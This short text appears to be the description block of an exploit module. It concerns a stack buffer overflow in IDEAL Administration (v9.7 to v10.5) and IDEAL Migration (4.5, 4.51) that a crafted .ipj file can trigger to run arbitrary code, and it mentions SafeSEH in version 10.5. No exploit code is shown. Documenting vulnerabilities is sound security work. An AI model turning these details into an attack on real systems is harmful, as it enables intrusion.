          This module exploits a stack buffer overflow in versions v9.7
        through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
        IDEAL Migration. All versions are suspected to be vulnerable.
        By creating a specially crafted ipj file, an attacker may be able
        to execute arbitrary code.

        NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
